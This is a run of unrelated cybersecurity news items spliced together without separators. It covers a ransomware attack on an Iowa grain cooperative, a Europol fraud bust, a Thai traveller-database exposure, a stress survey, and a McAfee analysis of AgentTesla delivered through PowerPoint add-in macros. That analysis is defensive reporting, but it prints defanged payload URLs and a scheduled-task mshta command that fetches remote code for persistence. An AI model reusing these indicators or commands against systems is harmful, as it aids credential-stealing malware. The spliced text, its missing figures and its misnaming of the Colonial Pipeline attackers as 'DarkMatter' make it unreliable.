Farming Group Warns of Supply Chain Chaos After Ransomware Attack
An Iowan agricultural group hit by ransomware over the weekend appears to have claimed that the impact of the attack on the US public could be worse than the Colonial Pipeline incident.
The attack has been traced to BlackMatter, a group that some believe has links to the DarkMatter outfit responsible for the days-long oil supply outage in May, which sent prices soaring on the East Coast.
According to reports, it targeted New Cooperative, a major US grain producer, with a $5.9m ransom demand.
However, screenshots of the negotiations between the two parties posted on Twitter by security researchers shed some interesting light on the attack’s significance.
In one, the cooperative’s spokesperson suggests that the ransomware group has misjudged the scale of the impact a resulting supply chain outage could have.
“The impact of this attack will likely be much worse than the pipeline attack for context, and we have no way to control that given the disruption this has already caused,” they said. “I am just telling you this so you are not surprised as it does not seem like you understood who we are and what role our company plays in the food supply chain.”
The threat actors appeared unmoved, demanding the firm come up with the money.
The to-and-fro between victim and extorter has added significance given the Biden administration has made it clear to the Kremlin that 16 critical infrastructure sectors of the US economy are off-limits to cybercrime groups thought to be operating from Russia.
After a relatively quiet summer, this attack would appear to be testing those red lines.
“There is going to be very very public disruption to the grain, pork and chicken supply chain. About 40% of grain production runs on our software and 11 million animals feed schedules rely on us,” the spokesperson said, according to another screenshot.
“This will break the supply chain very shortly, and we will have to report this to our regulators and likely the public if this disruption continues … CISA is going to be demanding answers from us within the next 12 hours or so and we are going to have to tell them exactly what has happened.”
Hank Schless, senior manager of security solutions at Lookout, argued that firms would need better to protect themselves in place of any geopolitical breakthrough.
“BlackMatter claimed that New Cooperative doesn’t reach the threshold that the President laid out. Threat actors already operate outside the bounds of the law, so why would they suddenly comply? If this is the attitude Russia-based threat actors have towards the President’s warnings, then this could be indicative of similar attacks to come,” he added.
European police claim to have dismantled an organized crime group that made €10m from online fraud, drug trafficking and property crimes last year.
The operation involved the Spanish and Italian national police, with Europol and Eurojust coordinating.
The group itself, which was linked to the Italian mafia, is suspected of defrauding hundreds of victims via phishing attacks, business email compromise (BEC), SIM swapping and other types of online fraud. It is said to have laundered these proceeds through an extensive network of money mules and shell companies.
During police raids in Italy and the Canary Islands holiday hotspot, Tenerife, law enforcers made 106 arrests, conducted 16 house searches, and seized hundreds of credit cards, SIM cards, point-of-sale (POS) terminals, and electronic devices. They also discovered and dismantled a marijuana plantation.
Some 118 bank accounts were frozen as part of the international law enforcement effort.
“This large criminal network was very well organized in a pyramid structure, which included different specialized areas and roles. Among the members of the criminal group were computer experts, who created the phishing domains and carried out the cyber fraud; recruiters and organizers of the money muling; and money laundering experts, including experts in cryptocurrencies,” Europol explained.
“Most of the suspected members are Italian nationals, some of whom have links to mafia organizations. Located in Tenerife, the suspects tricked their victims, mainly Italian nationals, into sending large sums to bank accounts controlled by the criminal network.”
Phishing remains the most common cybercrime reported to the FBI, with more than 240,000 cases logged with the bureau last year. However, it accounted for just $54m in losses in 2021, versus nearly $1.9bn for BEC, which is the most costly crime type.
Identity theft, often the result of SIM swapping and phishing, cost victims over $219m last year.
Are organizations neglecting the security of their data? An unprecedented five-year study reveals that internal databases are riddled with vulnerabilities – some even years old.
Apparently, a nation-state hacked Alaska’s Department of Health and Social Services.
Not sure why Alaska’s Department of Health and Social Services is of any interest to a nation-state, but that’s probably just my failure of imagination.
McAfee Labs have observed a new phishing campaign that utilizes macro capabilities available in Microsoft PowerPoint. In this campaign, the spam email comes with a PowerPoint file as an attachment. Upon opening the malicious attachment, the VBA macro executes to deliver variants of AgentTesla which is a well-known password stealer. These spam emails purport to be related to financial transactions.
AgentTesla is a RAT (Remote Access Trojan) malware thathasbeen active since 2014. Attackers use this RAT as MASS(Malware-As-A-Service) to steal user credentials and other information from victims through screenshots, keylogging, and clipboard captures. Its modus operandi is predominantly via phishing campaigns.
During Q2, 2021, we have seen an increase in PowerPoint malware.
Figure 1. The trend of PPT malware over the first half of 2021
In this campaign, the spam email contains anattachedfile with a.ppamextension which is a PowerPointfile containingVBAcode. The sentiment usedwas finance-relatedthemes such as: “New PO300093 Order” as shown in Figure2. The attachment filename is “300093.pdf.ppam”.
Figure 2. Spam Email
PPAM file:
This file type was introduced in 2007 with the release of Microsoft Office 2007. It is a PowerPoint macro-enabled Open XML add-in file. It contains components that add additional functionality, including extra commands, custom macros, and new tools for extending default PowerPoint functions.
Since PowerPoint supports ‘add-ins’ developed by third parties to add new features, attackers abuse this feature to automatically execute macros.
Technical Analysis:
Once the victim opens the “.ppam” file, a security notice warning pop-up as shown in Figure 3 to alert the user about the presence of macro.
Figure 3. Warning when opening the attached PowerPoint file
From Figure4,you can see that the Add-in feature of the PowerPointcan be identified from the content of [Content_Types].xml file which will be present inside the ppam file.
Figure 4. Powerpoint add-in feature with macroEnabled
The PPAM file contains the following files and directories which can be seen upon extraction.
Once the victim enables the macro, the add-in gets installed silently without user knowledge, which can be seen in Figure 5. On seeing that there is no content and no slide in the PowerPoint, the user will close the file but, in the backend, macro code gets executed to initiate the malicious activity.
Figure 5. Installed Add-ins in the PowerPoint options
As you can see in Figure6, the macro is executed within the add-in auto_open() eventi.e.., macro is fired immediately after the presentation is opened and the add-in is loaded.
Figure 6.VBA Code snippet with auto_open() event
The PowerPoint macro code on execution launches an URL by invoking mshta.exe (Microsoft HTML Application) which is shown in Figure 7. The mshta process is launched by Powerpoint by calling the CreateProcessA()API.
Below are the parameters passed to CreateProcessA() API:
The URL hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidhis redirected to “hxxps://p8hj[.]blogspot[.]com/p/27.html”but it didn’t get any response from “27.html” at the time of analysis.
Later mshta.exe spawns powershell.exe as a child process.
Below is the command line parameters of PowerShell:
PowerShell downloads and executed script files from the above-mentionedURLs.
The below Figure 8 shows the content of the first url – “hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-1.txt”:
Figure 8. Binary file content
There are two binary files stored in two huge arrays inside each downloaded PowerShell file. The first file is an EXE file that acts as a loader and the second file is a DLL file, which is a variant of AgentTesla. PowerShell fetches the AgentTesla payload from the URLs mentioned in the command line, decodes it, and launches MSBuild.exe to inject the payload within itself.
Schedule Tasks:
To achieve persistence, it creates a scheduled task in “Task Scheduler” and drops a task file under C:windowssystem32SECOTAKSA to make the entire campaign work effectively.
Figure 9. Code snippet to create a new scheduled task
The new task name is “SECOTAKSA”. Its action is to execute the command “mshtahxxp:////1230948%1230948@0v2x.blogspot.com/p/27.html”and it’s called every 80 minutes.
McAfee’s Endpoint Security (ENS) and Windows Systems Security (WSS) product have DAT coverage for this variant of malware.
This malicious PPAM document with SHA256: fb594d96d2eaeb8817086ae8dcc7cc5bd1367f2362fc2194aea8e0802024b182 is detected as “W97M/Downloader.dkw”.
The PPAM document is also blocked by the AMSI feature in ENS as AMSI-FKN!
Additionally, the Exploit Prevention feature in McAfee’s Endpoint Security product blocks the infection chain of this malware by adding the below expert rule so as to protect our customers from this malicious attack.
Expert Rule authored based on the below infection chain:
A British cybersecurity researcher stumbled across his own personal data online after discovering an unsecured database containing the personal information of millions of visitors to Thailand.
Bob Diachenko, leader of cybersecurity research at Comparitech, found the unprotected Elasticsearch database on August 22, 2021. Inside the 200GB digital index were records dating back ten years containing the personal details of more than 106 million international travelers.
Information exposed in the publicly accessible database consisted of full names, arrival dates, gender, residency status, passport numbers, visa information, and Thai arrival card numbers.
Before the Covid-19 pandemic affected travel, Thailand was a popular tourist destination, drawing nearly 40 million visitors in 2019 alone.
“Diachenko surmises that any foreigner who traveled to Thailand in the last decade might have had their information exposed in the incident,” said Comparitech tech writer Paul Bischoff in a report on the data breach.
“He even confirmed the database contained his own name and entries to Thailand.”
Researchers at Comparitech were not able to determine how long the data had been exposed before it was indexed by the search engine Censys on August 20, 2021.
Diachenko sent word of the data breach to Thai authorities, who secured the database within 24 hours. Thai authorities informed Comparitech that the exposed data was not accessed by any unauthorized parties.
While the IP address of the database is still public, the index has been replaced with a digital booby trap. Visitors to the IP address who attempt to access the now secured database are presented with the message: “This is honeypot, all access were logged [sic].”
While no financial or contact information was included in the database, the data breach may be resented by impacted individuals.
“Any foreigner who traveled to Thailand in the last decade or so probably has a record in the database,” reads the Comparitech report.
“There are many people who would prefer their travel history and residency status not be publicized, so for them there are obvious privacy issues.”
The breach follows a report in May in which Comparitech flagged the online exposure of more than 6,500 international visa applications by a visa assistance website for travelers to India.
Most Americans and Canadians say that news of ransomware attacks and data breaches causes them to experience stress.
An online survey of 2,500 adults in Canada and the United States found that in relation to cybersecurity, seven in ten respondents (69%) said news of data breaches caused them stress.
The research, which was conducted in July 2021 by research firm Opinion Matters for cybersecurity company Kaspersky, also found that 64% of respondents said that consuming news coverage of ransomware attacks left them feeling stressed.
“These stress levels were nearly identical between Americans and Canadians,” said Kaspersky in its reportDealing with a New Normal in our Digital Reality.
“When we asked this question in 2018, three quarters of respondents said news of data breaches caused them stress. This number dropped in 2019 to 68%, however since then, the number has barely changed (69%).”
Experiencing a cybersecurity incident ranked as one of life’s top stressors for many respondents, with 37% saying that having their bank account compromised would be more stressful than losing their employment.
Increased internet usage linked to the COVID-19 pandemic caused additional stress for 56% of survey respondents.
Nearly three in five respondents increased their use of online services because of the pandemic, with over a quarter (27%) reporting a significant increase. But while 64% of Millennials went online more because of the pandemic, only 45% of Baby Boomers had spent more time on the internet.
Using the internet more often made nearly half of the men who were surveyed (49%) feel more confident that they could maintain their safety online. This confidence boost was only experienced by 29% of women.
Fewer than half of respondents (48%) said that they check their accounts for indicators of compromise, and only 26% of respondents said that they educate themselves about online privacy.
Cybersecurity incidents had been experienced by nearly half (48%) of all respondents within the past two years, compared to 28% in 2019.
Marina Alekseeva, chief human resources officer at Kaspersky, said: “It is important to gain control of your digital life to have peace of mind in knowing your data is protected.”
